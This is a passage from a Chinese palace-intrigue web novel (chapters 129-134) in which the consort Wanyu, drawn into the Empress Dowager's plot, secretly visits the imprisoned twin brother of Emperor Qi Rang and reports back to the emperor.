说不定他心里此时已经怒火翻腾,只是没表现出来而已。 晚余敛了敛神,真假掺半道:“她说她已经五年没见过晋王殿下,不知殿下如今是死是活,她为此日夜难安,求我看在姐妹血亲的份上替她去看一眼。” 祁让也不知信没信,目光沉沉与她对视,仿佛想从她眼底望进她心底去,看看她心里到底在想什么。 晚余硬着头皮与他对视,不敢有半分躲闪。 他太聪明,也太多疑,一点点蛛丝马迹都能引发他的疑心病。 半晌,祁让松开她,转身坐回了床沿上,姿态放松下来,半是探究半是戏谑地问:“她许了你什么好处?你们的姐妹之情,还没深到让你冒着掉脑袋的风险为她做事的地步吧?” “皇上圣明。”晚余面不改色道,“她说我如今是后宫妃嫔共同的敌人,只要我愿意帮忙,她就让太后对我多加照拂,不让那些妃嫔欺我害我。” “这倒是个很大的好处。”祁让勾了勾唇,似笑非笑,“你答应她了?” 晚余摇头:“没有,她给了我三天时间考虑,说三天后她再来问我。” 祁让挑眉:“明天就是第三天了,你考虑的怎么样了?” 晚余说:“我不需要考虑,她是我的仇人,不值得我为她冒险,我也不需要太后的庇护,后宫妃嫔会不会欺我害我,不在于太后,而在于皇上。” 祁让定定看她:“那你自己呢?你自己有没有好奇过晋王是死是活?你这么恨朕,有没有想过让晋王取代朕?” 晚余的心扑通扑通快跳了几下。 她就知道祁让没那么好骗。 她从头到尾没表现出一丝异常,甚至连太后都没敢提,祁让却还是想到了这个层面。 她伏下身,将额头贴在地上:“嫔妾只是一介女流,不懂朝政,也不敢妄议君上,但沈将军和徐清盏都说过,当今天下,再没有人比皇上更适合做大邺的君王。” 本小章还未完,请点击下一页继续阅读后面精彩内容!室内陷入长久的沉默。 祁让不知道是意外沈长安和徐清盏会说出这样的话,还是在揣测晚余这句话的真实性。 晚余趴在地上,不敢抬头,后背渗出一层冷汗。 她拿不准自己把江晚棠的意图告诉祁让是对是错,也拿不准祁让会不会相信她这真假掺半的回答。 她不是个工于心计的人,她见不到徐清盏,一切就只能凭自己的直觉行事。 她不知道这样能不能行。 过了好半晌,才听到祁让幽幽道:“既然晋王妃如此忧心晋王的安危,你就替她去看一眼吧,朕也五年没见过晋王了,你看过之后,顺便告诉朕一声,让朕知道他如今是什么状况。” 晚余吃惊地抬起头:“皇上是说真的吗?” “当然。”祁让揶揄道,“朕可不像你们,一个个都是骗子。” “……”晚余无话可说,默默闭了嘴。 祁让又道:“撷芳殿有三队侍卫轮班看守,每日二更有一次交接,朕让孙良言提前打个招呼,你到时悄悄的过去,让他们假装没看见,把你放进去。” 晚余没想到他这么爽快,很想再问一遍他是不是当真的。 他为了让江晚棠安心,连这种事都能应允吗? 看来他对江晚棠还真是与众不同。 正想着,又听祁让叮嘱她:“你明天去见晋王妃,不要让她知道朕已经知道了这件事,你就说你愿意试试看,不保证能不能行。 记住,不要让她发现任何端倪,拿出你这五年来欺骗朕的本事,让她对你的话深信不疑。” “……”晚余再度无语,她欺骗他的事,他是不是要念叨一辈子? 祁让看了她一眼,语气凉凉道:“怎么,朕说错了吗?” “没有。”晚余试图转移话题,“嫔妾只是在想,皇上对晋王妃真好。” “好吗?”祁让勾唇,发出意味不明的一声笑,拍了拍龙床道,“过来,陪朕睡觉。” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第130章 滚吧!朕不想再看见你! 晚余没想到祁让绕了一大圈子,最终还是免不了让她侍寝。 既然如此,方才又何必把她扔下床? 说到底,他就是不愿放过徐清盏,又想让自己陪他睡,所以才会在这个时候问起江晚棠的事。 如此绕了一圈之后,留下她侍寝就和徐清盏无关了。 她陪睡也就白陪了。 是这样吧? 他应该就是这样想的吧? 他这个阴险无耻之徒! 晚余心里恨极了他,面上却不动声色地向他提议:“嫔妾明日要去见姐姐,皇上不想让姐姐知道是您对她格外开恩,最好别让嫔妾留宿乾清宫,免得姐姐怀疑这是嫔妾和皇上商量好的。” 祁让微微皱眉,唇角勾出一抹讥讽:“为了不侍寝,江采女真可谓挖空心思,连这样的说辞都能想得出来。” “皇上误会了,嫔妾是发自内心的建议。”晚余恭敬道,“皇上看重姐姐,又不想让人知道,嫔妾不过是陪皇上作戏而已。” “呵!”祁让发出一声意味不明的嗤笑,“你如此为朕着想,朕是不是还要谢谢你?” 晚余低眉做谦恭状:“嫔妾不敢居功,只是想着既然作戏,就作得逼真一些,方不负皇上的重托。” 祁让眼里的嘲弄之色更加明显:“照你这么说,朕接下来该怎么办?” 晚余说:“皇上应该对嫔妾大发雷霆,把嫔妾赶出去,让所有人都知道我们不欢而散,皇上对嫔妾厌恶至极。” 祁让听着她一本正经的胡扯八道,脸色变了又变。 他这双能看透人心的眼睛,岂会看不出她的小心机? 听她为了逃避侍寝,绞尽脑汁地想各种说辞,一时竟不知该气还是该笑。 默然一刻后,他抓起茶盏用力往地上摔去:“滚吧!朕不想再看见你!” “哗啦”一声,茶盏落地,摔得粉碎,把守在殿外的孙良言吓了一跳。 正犹豫着要不要进去瞧瞧,晚余低垂着头从里面走了出来。 “江采女,出什么事了?”孙良言迎上来小声问,“好好的,皇上怎么又恼了?” 晚余摇摇头,没说原因,只哽咽道:“皇上叫我滚。” 孙良言见她这可怜样儿,也不好多说什么,略安慰了几句,叫人送她回去,自个进去服侍皇上。 很快,江采女为徐清盏求情,被皇上大发雷霆赶出乾清宫的消息就在后宫悄悄传开。 慈宁宫那边也得到了消息。 太后已经准备就寝,听闻消息很是欣慰,对叶嬷嬷说:“哀家还想着她要是不上道的话,就给她再添一把火呢! 现在看来,倒是不用哀家出手了,她求助无门,对皇帝怨念加深,肯定会同意和哀家联手的。” “太后英明。” 叶嬷嬷笑着把一碗热牛乳递给她,“有朝一日,皇上若真的因为江采女而倒台,那也怪不得旁人,是他自个把人逼上的绝路。” “是啊,兔子急了还会咬人,况且江采女并非单纯软弱的小白兔。” 太后接过牛乳,幽幽叹了口气,“哀家倒是觉得,她比她姐姐更有潜力,早知如此,当初该让晋王娶她的,倘若晋王娶的是她,兴许不会是今天的局面。” 这话说的,叶嬷嬷不知道怎么接,便含糊道:“世上哪有这么多早知道,她当初外室女的身份,也配不上晋王殿下,如今她已经是皇上的人,再想这些也晚了。” “不晚。”太后微微一笑,意味深长道,“你知道哀家为什么非要她去看晋王吗?” 叶嬷嬷谦恭垂首:“奴婢愚钝,请太后指教。” 太后喝了一口牛乳,缓缓道:“晋王和皇帝长得一模一样,却是截然不同的两种性情,相比皇帝的狠辣无情,他温文尔雅,风度翩翩,是最受女孩子喜欢的谦谦君子。 江采女眼下正是对皇帝恨之入骨的时候,突然接触到晋王这样的谦谦君子,定然会对他心生好感,觉得他比皇上好千倍万倍。 有了好感之后,心自然而然就会偏向他,愿意为他做任何事,这样一来,咱们的计划就能顺利进行了。” “原来如此。”叶嬷嬷恍然大悟,却也提出了疑问,“江采女心系沈小侯爷,会对晋王殿下产生好感吗?” “这个你无须担心。”太后胸有成竹道,“女人天生对容貌俊美又身世凄惨的男人有怜悯之心,何况她还对皇帝恨之入骨,就算不会爱上晋王,也会选择站在晋王这边的。” 叶嬷嬷面露钦佩之色:“太后英明,算无遗策,看来晋王殿下东山再起指日可待了。” “五年了,是时候了。”太后饮尽牛乳,把空碗递还给她,“睡吧,明天一定会有好消息的。” 次日一早,晨曦初升,朝霞满天,是冬日难得的好天气。 晚余用过早饭,收拾妥当后,带着梅霜和紫苏去了慈宁宫。 她特地拖延了一会儿,到了地方,其他妃嫔都已经给太后请过安,正坐在一起闲话家常。 她一进来,大殿里顿时安静下来,所有人的视线都落在她身上。 等她给太后行完礼之后,有人便迫不及待挖苦她:“江采女昨晚又没侍寝,怎么还来得这样晚?” “是啊是啊,听说江采女惹皇上生气,被皇上赶了出去,难不成是哭了一夜,所以才起晚了?” “她有什么好哭的,皇上翻了康嫔的牌子却没留宿,该哭的是康嫔才对。” 康嫔闻言气得满脸通红,看向晚余的眼神都带着刀子,恨不得在她身上戳几个洞。 晚余默默听着,不解释,也不还嘴。 无论如何,在她出宫这件事上,这些人都是帮过她的,虽然目的不纯,她也心存感激,念着她们的好。 言语羞辱几句对她来说不算什么,只要不危及到她的性命,她不会和她们计较。 她的心思不在这些无所谓的小事上。 太后的心思更不在此,为了将晚余留下,还是顺着那些妃嫔的话对晚余进行了一番训斥,说她不敬主位,服侍皇上也不尽心,一个人搅得皇上和后宫都不得安生。 让她到殿外去罚跪一个时辰静思己过。 众人见她挨了训斥又被罚跪,心里多少痛快了些,便纷纷起身告退而去。 等人都走完之后,太后把晚余叫进了暖阁。 不出意外,江晚棠又在暖阁里等着她。 “三日期限已到,妹妹考虑的怎么样了?” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第131章 和祁让一模一样的脸 江晚棠开门见山,直奔主题,显然这三天已经让她等得很不耐烦。 晚余没有立刻回答,眼神举棋不定。 江晚棠急切道:“都这个时候了,妹妹还有什么好犹豫的,皇上处处刁难你,后宫的妃嫔又当你是眼中钉,你再不做出决断,早晚有一天死在她们手里。” “死在她们手里,和死在你手里有什么区别?”晚余说,“我又不是傻子,你是不是真的为我着想,我难道看不出来吗? 你们现在说的天好地好,只怕将来不论成功还是失败,你们第一个要杀的人都是我。” “怎么会?”江晚棠伸手去拉她的手,一脸真诚道,“你是我妹妹,我们身上流着相同的血,我从来没对你动过这样的心思,妹妹,你要相信我。” 晚余嗤笑:“相同的血又怎样,皇上和晋王难道不是一母同胞吗?” 江晚棠噎了一下:“那不一样,像皇上那样狠心的人有几个?我们不正是因为他无情,才要推翻他吗?” 晚余不说话,只定定看她,仿佛要从她脸上看出一朵花来。 江晚棠被她看得不自在,抬手在脸上拂了拂:“为何这样看着我,我脸上有什么?” 有无耻! 有算计! 有不自量力! 晚余心想,江晚棠可能根本不了解祁让。 不知道祁让的城府有多深,手段有多狠,否则绝不敢如此大言不惭地说要推翻祁让。 她也不知道,她轻飘飘的一句话,需要牺牲多少人的生命为代价。 “这件事,父亲知道吗?”晚余问道。 江晚棠一怔,下意识看了太后一眼:“你问这个做什么?” “不做什么,我就想知道父亲是什么态度。”晚余说,“造反不是小事,说实话,光凭太后与长姐,我是不相信你们能成事的,除非外面有足够强大的助力。” “这不叫造反,我们只是夺回本该属于我们的东西。”太后更正她的说辞,“你先不要问这么多,当务之急是先确定晋王的生死,如果人不在了,说什么都是枉然。” “别的人我可以不问,但父亲的态度我必须知道。”晚余语气强硬,不肯妥协。 太后无奈,只得点头道:“你父亲是支持我们的,让你去打探晋王的情况,他也是赞成的。” “好,我知道了。”晚余说,“我会尽力一试的,但我只承诺帮你们打探晋王的情况,别的我都不会参与,你们的成败也与我无关。” “你……” 江晚棠还想劝说,被太后以眼神制止。 “那就这么说定了,哀家等着你的好消息。”太后说,“哀家罚你跪一个时辰,你现在出去会让人起疑,就在这里和你姐姐说说话,时辰到了再走吧!” “不必了,嫔妾去外面跪着。”晚余起身就往外走。 江晚棠气愤又郁闷:“你就这么讨厌我吗,宁愿罚跪也不愿和我多说一句话。” 晚余顿住脚步看了她一眼:“跪一个时辰和坐一个时辰,走路姿势是不一样的。” 她语气很平静,没有任何嘲讽的意味,江晚棠却一下子涨红了脸,仿佛被她狠狠扇了一记耳光。 太后目光幽深地看着晚余的背影消失在门外,对江晚棠道:“这一点,你要向你妹妹学习,她装哑巴能骗过皇帝五年,足以说明她非比常人的心智和忍耐力,而你欠缺的恰恰就是忍耐,你太急躁了。” 江晚棠有点不服气:“她忍了五年,儿臣何尝不是忍了五年?” “你的五年,能和她的五年相比吗?”太后反问。 江晚棠的脸更红了几分,却还是不甘心道:“那又怎样,她最后还不是露出了马脚?” “她为何露出马脚,你心里不清楚吗,要不是有齐嫔给她下套,她这会子早就逃到皇帝找不着的地方去了。” 太后冷下脸,语气也严厉起来,“哀家知道你心气高,不服输,可你若认不清自己,还一味的看低别人,将来必定坏事,哀家可不希望这盘棋毁在你手里。” 江晚棠心下一凛,忙屈膝跪了下去:“母后息怒,儿臣知道错了,儿臣以后不敢了。” “你只是怕哀家生气才说不敢,心里只怕仍旧是瞧不起她的。”太后冷冷道,“你就在这里好好反省吧,好好想想,若换作是你,你有没有本事与皇帝周旋五年不被发现。” 太后拂袖而去,把江晚棠独自留在暖阁里。 姐妹二人一个在里面跪着,一个在外面跪着,足足跪够了一个时辰之后,晚余才起身告辞,一瘸一拐地离开了慈宁宫。 梅霜和紫苏心疼不已,一左一右搀扶着她往回走。 梅霜又替她鸣不平:“太后娘娘真是心狠,小主又没做错什么,为什么要罚小主跪这么久? 这样憋屈的日子到底什么时候是个头啊,依奴婢说,左右是出不去了,不如好好和皇上相处,借着皇上的宠爱为自己争取更大的利益,将来成了贵妃,皇贵妃,看谁还敢不把您放在眼里。” 这章没有结束,请点击下一页继续阅读!晚余偏头,意味深长地看了她一眼:“你说话的语气特别像一个人。” “谁?”梅霜眨着无辜的眼睛问道。 晚余说:“胡尽忠,胡二总管。” 梅霜一愣,随即噘嘴道:“奴婢替小主抱屈,小主却拿奴婢跟太监比。” 晚余勾唇笑了一下:“那你以后就少说话,别跟他一样啰嗦。” “哦。”梅霜应了一声,没走两步,又忍不住开口道,“小主得罪了康嫔娘娘,回去肯定又要被她刁难,不如趁着天色早,去御花园走走。” 紫苏听不下去,狠狠瞪了她一眼:“走什么走,小主膝盖疼,你还叫她走路,你以前多机灵一个人,如今怎么变得这样没眼色了?” 梅霜挨了训,讪讪道:“我忘了,我就是怕小主回去被康嫔刁难。” “那就住在御花园一辈子不回去了吗?”紫苏没好气道。 梅霜无言以对,默默闭了嘴。 回到咸福宫,康嫔意外地没有出来找晚余的麻烦。 紫苏安顿好晚余,悄悄去打听了一下,才知道皇上为了弥补康嫔昨晚受的委屈,赏了她好多东西,这会子正高兴着呢! 她受了委屈,小主又何尝不委屈,也没见皇上对小主有什么表示。 紫苏替晚余委屈,回去把情况和晚余说了。 晚余无所谓,也不稀罕什么赏赐。 只要康嫔能安安生生在正殿待着,别耽误她晚上去撷芳殿看晋王就行。 冬日天黑得早,晚余用过午饭歇了一觉,再醒来已经日落西山。 又耐着性子等了一会儿,晚膳之后,她便换上紫苏的衣裳出了门。 晚膳后是宫女太监轮班用饭,为主子准备洗漱用水的时候,人员走动比较杂乱,不容易被人发现,否则等到宫门下钥后,想出都出不去了。 晚余出了咸福宫,先到御花园里躲了一阵子,等到各处都安静下来,时辰也差不多了,她便摸黑往关押晋王的撷芳殿而去。 撷芳殿的侍卫个个都是高手,她一接近,侍卫们就发现了她,因着孙总管提前打过招呼,就睁一只眼闭一只眼把她放了进去。 晚余五年来头一回走进这座宫殿,见四周一片黑暗,唯有西边偏殿的窗户透出一点微弱的光亮,猜想那应该就是晋王居住的地方,便轻手轻脚地走了过去。 她从来没见过晋王,只听说晋王长着一张和祁让一模一样的脸。 一想到祁让那张脸,她就忍不住紧张起来,手心都渗出了冷汗。 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第132章 谦谦君子,温润如玉 一路提心吊胆地走到殿门外,晚余心里想着怎样才能把门叫开,谁知手一碰到门扇,门就自己开了。 晚余下意识往旁边闪,盯着那半开的门迟疑起来。 晋王睡觉都不闩门的吗? 还是说看守的人不许他闩门? 灯光实在昏暗,门里面幽深寂静,像话本子里的鬼屋,还没进去,就感觉到一股阴森之气。 纵然知道周围有很多侍卫把守,晚余还是有点头皮发麻,接连做了几个深呼吸,才迈步走了进去。 她对殿里的构造一无所知,也不敢四处张望,硬着头皮往亮灯的地方走。 她也没有刻意地放轻脚步,甚至希望里面的人能听到她的脚步声,主动问一声是谁,这样至少证明里面的人是活的。 然而,直到她走到了亮灯的房间门口,里面也没有传出一点动静。 她探头往里看,里面的布置摆设十分简朴,除了一张床,只有一桌四椅,两组衣柜。 窗下放着一张书桌,桌上一盏孤灯如豆,灯影映出一个坐着的,一动不动的身影。 晚余心下一惊,喉咙都跟着紧了紧,差点夺路而逃。 她定了定神,又鼓起勇气向那个身影走去。 脚步声打破一室的寂静,那身影仍旧一动不动。 像死了很久已经僵化的尸体。 晚余腿脚发软,在离那个身影几步远的地方停下,嗓子干涩地叫了一声:“晋王殿下。” 那身影蓦地动了一下,慢慢转过头来。 尽管灯光昏暗,尽管他只转过了半张脸,晚余的心还是扑通扑通快跳了几下。 这张脸,真的和祁让一模一样。 那人似乎比她还要震惊,猛地起身,撞倒了椅子,呢喃似的声音唤她:“晚棠?是你吗?” 晚余听他开口说话,确定他不是僵尸,也不是鬼魂,而是真真实实活着的晋王祁望,胆子便大了些,对他摇头道:“殿下认错人了,奴婢不是晚棠,晚棠是奴婢的长姐。” 祁望已经迈步朝她走过来,闻言又顿住脚步,将她上下打量:“我怎么不记得,晚棠有你这样一个妹妹?” 他声音很温和,许是长期不说话的缘故,语速十分缓慢。 他的正脸整个对着晚余,也让晚余又一次确认,他真的和祁让长得一模一样,甚至连身高都一般无二。 但也只是外表一样,气质却截然不同。 祁让的气质是冷硬的,强势的,天生具有侵略性的,就算什么都不做,只是冷冷地看人一眼,都能让人感受到喘不上气的威压。 而眼前这位三皇子祁望,却是温润的,平和的,没有任何攻击性的。 哪怕长了一张和祁让一模一样的脸,眉宇之间却丝毫没有祁让那种迫人的气势,眼神也不会像刀子一样往人身上扎。 许是被关得久了,他的神情多少有些木讷,身上穿的也是灰色半旧的居家袍服,可他只是静静地站在那里,就给人一种和风细雨,谦谦君子的感觉。 所谓公子如玉,大约就是这个样子吧? 晚余看着他,心里第一个念头就是,难怪江晚棠当初会选择他。 相比祁让,他确实是更容易让女孩子倾心的那种类型。 晚余悄悄吐出一口气,整个人放松下来,语气也不自觉变得温和:“回殿下的话,奴婢生母是安平伯的外室,殿下搬来撷芳殿之前,我们母女一直住在外面,殿下不知道也是正常的。” “安平伯?”祁望重复这个称谓,眉心微微蹙起。 “就是从前的安国公江连海,现在被皇上降为安平伯了。”晚余解释道。 “原来如此。”祁望恍然大悟,随即又担忧道,“安国公因何被降级,晚棠可有受到牵连?” 晚余看着他,心里想,他听说安国公被降级,第一反应是担心自己的妻子,想必应该是一个很好的丈夫吧? “殿下放心,姐姐很好,皇上对她格外开恩。”晚余宽慰他,却没有回答江连海被降级的原因。 祁望有片刻的沉默,随即自嘲一笑:“是啊,祁让一直对她另眼相看,要不是我,可能她就嫁给祁让了。” 这话晚余不知道怎么接,只能保持沉默。 祁望直到这时才想起问她:“你叫什么名字,你是怎么进来的?” 晚余半真半假道:“奴婢叫晚余,五年前被父亲送进宫做了皇上的司寝女官,今日是受太后所托,偷偷来看殿下的。” 祁望的眼睛亮了亮,脸上也有了些许神采:“原来是母后让你来的,母后她还好吗?” “挺好的,皇上很敬重她。”晚余含糊其辞。 祁望也不知信没信,低眉发出一声轻叹:“是我连累了母后,辜负了母后的期望。” “太后对殿下仍有期望。”晚余意有所指道。 祁望抬眼看她,目光平静无波:“你看我现在这样,还能有什么指望,你回去告诉母后,让她别再想着我,好好颐养天年才是正经。” 晚余不了解他,拿不准他这话是真是假,便应声道:“奴婢会转告太后的,殿下自个也要保重。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“那你呢?”祁望问,“你父亲为什么把你送进宫,你是不是也受了我的连累?” 晚余想了想,不知道该如何回答这个问题。 他和江晚棠夫妻一体,江连海也是因为站错了他的队伍,才得罪了祁让。 如果硬要说和他有关,确实说得过去。 但归根结底,把自己送进宫的是江连海,他被关在这里,什么也不知道。 祁望见她不说话,叹口气道:“只怕是了,我败给了祁让,带累了你们所有人。” 晚余轻轻摇头:“世事难料,殿下也不想这样的。” 祁望张张嘴,似乎想和她说些要紧话,又怕她不甚可靠,最终还是没说,轻飘飘地转了话题:“你和你姐姐很像,但细看之下又不太像。” 晚余笑了笑,顺着他的话道:“殿下和皇上却是出奇的像,奴婢刚刚吓了一跳。” 祁望也笑起来:“我们是孪生兄弟,小时候,我们站在一起,连父皇都分不清谁是谁。” “那……” 晚余想说,既然是一母同胞,为何境遇却完全不同。 话到嘴边,感觉这个话题并不恰当,便压下没说。 祁望显然也觉得这个话题不好,往下也没了言语。 两个初次见面的人,彼此陌生又彼此防备,实在没什么好说的。 但晚余存了探究的心思,不想这么快就走。 祁望太久没有接触到外面的人,也不想让她太快离开,便绞尽脑汁地找话题:“你的名字很好,是取自‘江晚正愁余’这句词吗?” “不是,是多余的余。”晚余淡然一笑,“我父亲不喜欢我,认为我的出生是多余的。” 祁望一愣:“抱歉,是我唐突了,你不要介怀。” “没事,奴婢早就习惯了,殿下不用放在心上。”晚余反过来安慰他。 祁望静静看她,目光又多了几分怜惜:“没有人的出生是多余的,你不要因此就妄自菲薄。” 他顿了顿,仿佛是为了找例子来安慰晚余,温声道:“你在祁让跟前当差,你知道他的名字是什么意思吗?” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第133章 祁让是天煞孤星 他突然提起祁让,晚余心生警惕,谨慎地摇了摇头:“奴婢不知,皇上的名讳,我们做奴婢的不敢妄议。” 祁望指了指旁边的桌椅:“你累不累,咱们坐下说话吧!” 晚余忙垂首道:“奴婢不敢。” 祁望却已经走过去帮她拉开了椅子:“你不要拘谨,我如今是祁让的阶下囚,地位还不如你。” 晚余讪笑了一下,不好再推拒,便和他面对面坐了下来。 桌上放着个茶盘,祁望提起茶壶,给晚余倒了一盏茶。 他虽然已经落魄至此,倒茶的动作却很优雅,举手投足都带着与生俱来的贵气,仿佛他不是身处黑暗的囚笼,而是坐在阳光明媚的花荫下和友人品茗闲谈。 晚余道了谢,捧起茶盏,发现茶水已经没什么热气。 “这是他们晚饭后送来的,我没喝,如今你来了,正好拿来招待你,只可惜没有茶点。” 祁望给自己也倒了一盏茶,端在手里说:“你知道吗,你姐姐很会做茶点的,我最爱吃她做的莲蓉酥。” 晚余对于江晚棠的事不了解,便实话实说:“奴婢不知,奴婢与长姐相处甚少。” 祁望笑道:“你是晚棠的妹妹,在我面前无须自称奴婢,你看我也没有自称本王,我们现在是一样的普通人。” 晚余点点头:“好,那我就不和殿下客气了。” 祁望喝了口茶,才又缓缓道:“我和祁让的名字都是父皇取的,我是哥哥,比他早出生小半个时辰。 我出生的时候还是晴好的天气,他出生的时候,却突然乌云密布,电闪雷鸣,狂风大作,下了三天三夜的雨,好几个地方都发了洪灾。 钦天监说,他是天煞孤星的命格,刑克双亲,影响国运,极为不祥。 父皇对此很是忌讳,当场就把生下天煞孤星的母妃打入了冷宫,把我交给皇后抚养,把他交给一个很不受宠的妃嫔抚养。 父皇给我取名为望,在我身上寄予了很大的期望,给他取名为让,就是给我让道的意思,用这个名字时刻提醒他是不祥之人,不要有任何非分之想。 可是你看现在,他成了皇帝,我成了他的阶下囚。 可见命格之说都是无稽之谈,叫什么名字也没什么要紧,别人喜不喜欢你更无所谓,重要的是你自己不能看轻了自己。” 夜色深沉,四下寂静,他的声音如涓涓溪流在这寒夜里缓缓流淌。 一段不甚愉悦的故事,被他讲得如梦似幻。 晚余听得入了神,直到他说名字没什么要紧的时候,方才明白过来,他一口气讲了这么多,竟是为了安慰自己。 虽然他如今是阶下囚,可他曾经也是高高在上的王爷,是被太后亲自抚养,被先帝寄予厚望的皇子。 这样的一个人,居然为了安抚一个婢女,拿自己和皇帝的名字来举例,自己的失败也能坦然地讲出来。 晚余从来没接触过这样的人,也不知道该如何形容他,只觉得他身上似乎有一种神奇的魔力。 像春雨,润物细无声。 又像春风,温温柔柔地吹进人的心窝,让人情不自禁地对他敞开心扉。 总之,他真的是和祁让截然不同的两种人。 可是话说回来,如果祁让没有一出生就被批成天煞孤星,没有遭到亲生父亲的嫌弃,可以像祁望一样被众星捧月般的长大,他还会是现在这种偏激又冷酷的性情吗? 晚余一直以为,祁让的名字是谦让,忍让的意思,从没想过,竟然是要他给兄长让道的意思。 这个名字,他肯定不喜欢吧? 他会不会和她一样,从小到大都对自己的名字耿耿于怀? 可是,不管怎样,这都不能当作他欺辱她,强占她的理由。 就算他的童年再怎么悲惨,她也不会因此就原谅他加诸在她身上的痛苦和伤害。 晚余敛了敛心神,问祁望:“殿下败给皇上,会有不甘吗?” “有啊,当然有。”祁望不假思索,却也神情坦然,“每一个失败者都会心有不甘,但不甘又能怎样,像我现在,连这座宫殿都走不出去,如果还一直纠结过往不肯放下,除了让自己痛苦,又有什么益处?” 这话倒也没错,只是晚余不确定他说这话是不是发自肺腑。 毕竟,他曾经是祁让最强劲的对手,也是离皇位最近的人。 谁知道他温润君子的背后,藏着什么样的面孔呢? “多谢殿下开导,奴婢感激不尽。”她起身道,“奴婢出来的太久,是时候该回去了,殿下有没有什么话要奴婢带给太后的?” “这就走了吗?” 祁望也跟着站了起来,神情有些不舍。 自从被关在这里,他就再也没有和任何人聊过天,每天所见的人,就是给他送一日三餐的侍卫,侍卫们多一个字都不会和他说。 他想了想,对晚余说:“那就有劳你替我转告母后,让她安安生生颐养天年,不要再记挂我,我在这里除了不得自由,别的都很好,平时看看书,写写字,过得很悠闲,比起从前那些提心吊胆的日子,这样的日子反倒更适合我。” 是这样吗? 晚余心想,自己一直以来所渴望的,就是自由,不得自由的日子,怎么可能悠闲? “好,奴婢记下了,奴婢会一字不落地转告太后的。”晚余福了福身,“奴婢告退,殿下珍重。” “我送你。”祁望不等她推辞,就走到她前面为她引路,“屋里黑,你不熟悉路,当心摔跤。” 晚余便默默地跟着他,两人一前一后,像两个幽灵在黑暗中穿行。 到了门口,祁望停下脚步:“我只能送你到这里了,你出去之后要千万小心,别被人发现。” “好。” 晚余答应一声要走,祁望突然又叫住她:“你以后还会再来吗?” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第134章 她不想争宠,皇上偏要宠她 晚余顿住脚步,在极度昏暗的光线下看着祁望,他那张和祁让一模一样的脸,有种说不出的寂寥。 任何一个人被关在一个地方五年,应该都很痛苦吧? 哪怕他是皇子,是王爷,他的心,终究也和寻常人一样,怕寂寞,怕孤单。 如果说自己在宫里的五年是屈辱,是煎熬,而他这五年,就是无穷无尽的孤独与绝望。 这样的他,还能做到如此平和,从容,已经是超乎常人的坚强。 晚余对他微微笑了一下:“这里很难进来,奴婢来这一趟已经是冒了天大的风险。” “你说得对,这样确实很冒险,是我贪心了。”祁望垂了垂眸,语气落寞,“我只是很久没见到晚棠,很想吃一块她亲手做的点心。” “这样啊?”晚余想了想,委婉道,“奴婢不敢承诺殿下,还是先去回了太后娘娘再说,殿下不要抱什么希望。” 她明明没承诺什么,祁望的眼睛却闪过一丝光亮:“好,我知道了,倘若你还能来,于我就是惊喜,倘若你不来,我也能坦然接受。” “殿下这样想再好不过了。” 晚余再次福了福身,要走的瞬间,忽又想起一事,“殿下晚上都不闩门的吗?” 祁望微怔,继而无奈一笑:“他们会时不时进来查看,不许我闩门。” 原来如此。 晚余点点头:“那我走了,殿下保重。” “你也保重。” 祁望的话音未落,她已经闪身走了出去,纤细的身影悄无声息地隐入黑暗之中。 和来时一样,她一出门,侍卫们就发现了她,只是谁也没去理会,任由她离开。 出去之后,晚余在空旷寂静的甬道上站了一会儿,把方才和晋王见面交谈的情形从头到尾过了一遍,摸黑往乾清宫而去。 到了日精门外,对看守的侍卫说自己有事要见皇上,侍卫让她稍等,派了一个人往里通传,过了一会儿,那人回来,说皇上在寝殿等她。 晚余道了谢,进门沿着廊庑往正殿走去。 正殿门外,还有一盏宫灯未熄,小福子和另外两个小太监正守在门口向她这边张望。 见她过来,小福子忙迎上去招呼:“江采女,您来了?” “嗯。”晚余应了一声,问他,“你师父呢?” “师父歇息了,今晚奴才值夜。”小福子领她到门口,打开殿门,对她伸手作请,“皇上在里面等着呢,小主快些进去吧!” “辛苦你了。”晚余向他道谢,提裙摆迈过门槛。 小福子这两天都没机会单独和她说话,这会子看着她独自一人往亮着灯的寝殿而去,心里说不出的难受。 短短几日功夫,事情怎么就变成现在这样了呢? 晚余姑姑一下子从宫女变成了皇上的后宫,自己以后也只能叫她小主了。 她那么想出宫,最终也没能得偿所愿,心里肯定很难过吧? 也亏得她心性坚韧,换作旁人,经受了这么多的苦难磋磨,只怕早就活不下去了。 可惜自己只是个奴才,她若想争宠,自己还能帮得上忙,可她不想争宠,自己就无能为力了。 她不想争宠,皇上偏要宠她,谁也没有办法。 所幸皇上龙章凤姿,英武不凡,堪称大邺第一美男子,被这样的男人看上,也不算是最糟心的。 小福子胡乱想着,晚余已经进了寝殿,见到了他所谓的第一美男子。 此时此刻,这位美男子正穿着一身雪白寝衣,神态慵懒地靠在床头,手里握着一卷书,凤眸低垂着,不知是在看书,还是在想事情。 听到脚步声,他抬头向门口看过去。 见到晚余进来,便放下书,调整了一下坐姿,眸光沉沉地等着晚余近前。 晚余看着他那张和祁望一模一样的脸,不禁有些恍惚,已经快分不清他们兄弟到底谁是谁了。 她攥了攥手指,缓步走到床前,福身行礼:“嫔妾见过皇上。” 祁让即不让她起来,也不说话,只默默地盯着她看。 晚余顿时感到一股无形的威压,不自觉屏住了呼吸,保持着屈膝的动作不敢抬头。 直到她快要坚持不住时,祁让才虚虚抬手免了她的礼:“起来吧,可见到晋王了?” 冷冽又带着满满压迫感的嗓音让晚余瞬间不再恍惚,哪怕不抬头,不看脸,她光凭声音也能分得清谁是谁。 “谢皇上。”她道谢起身,低垂眉眼谨慎道:“回皇上的话,嫔妾已经见过晋王殿下,殿下没什么事,状态挺好的。” “怎么个好法?具体说说。” 祁让冷沉的目光将她上下打量,看她一身宫女的装扮,脸色也跟着沉了沉。 这几日,他看惯了她穿戴着宫妃的衣饰,打扮得漂漂亮亮的样子,再看她穿宫女的衣裳已经有些不适应。 